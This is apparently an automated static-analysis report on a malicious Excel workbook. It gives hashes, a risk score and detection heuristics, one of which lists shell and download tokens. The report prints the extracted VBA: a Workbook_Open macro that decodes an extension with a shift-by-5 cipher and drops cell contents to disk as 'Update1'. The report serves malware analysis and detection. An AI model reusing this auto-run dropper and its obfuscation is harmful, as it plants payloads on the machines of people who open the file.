Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b9b36c4dcbd49b09…

MALICIOUS

Office (OOXML)

18.7 KB Created: 2021-03-14 02:05:13 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-04-10
MD5: 276a73a326ca7bfbde71bc9dcd65f91a SHA-1: bf704c169e0a385ac6419a9beedfef617d2b878d SHA-256: b9b36c4dcbd49b091009aa88c10caa6a8f0bc2e329fc47fbbf825b835f128079
68 Risk Score

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1762 bytes
SHA-256: 6a9a45c7970befdbf20db7ce3f277f99a1a319c36d99af0550a3a5eaada1b5be
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Open()

Dim filename1 As String
Dim linetext1 As String
Dim FileExtension1 As String
Dim pangalawangfile As String
Dim pangalawangtext As String
Dim pangalawangextension As String
FileExtension1 = Ilabas(Range("A1").Value)
pangalawangextension = Ilabas(Range("A2").Value)

filename1 = ThisWorkbook.Path & "\Update1" & FileExtension1
Open filename1 For Output As #1
linetext1 = Range("A4").Value
Print #1, linetext1
Close #1

'pangalawangfile = ThisWorkbook.Path & "\Update2" & pangalawangextension
'Open pangalawangfile For Output As #2
'pangalawangtext = Ilabas(Range("A4").Value)
'Print #2, pangalawangtext
'Close #2








End Sub





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Module1"
Function Itago(a As String) As String

Dim i As Integer
Dim s As String
For i = 1 To Len(a)
    s = Mid(a, i, 1)
    s = Chr(Asc(s) + 5)
    
    Itago = Itago & s
        
Next i

End Function
Function Ilabas(a As String) As String

Dim i As Integer
Dim s As String

For i = 1 To Len(a)
    s = Mid(a, i, 1)
    
    s = Chr(Asc(s) - 5)
    
    Ilabas = Ilabas & s
    
Next i


End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22528 bytes
SHA-256: 03acad28c7a009ee4a62adf9a1d64b7ad98653e3971b689a814f394b5fe178c3

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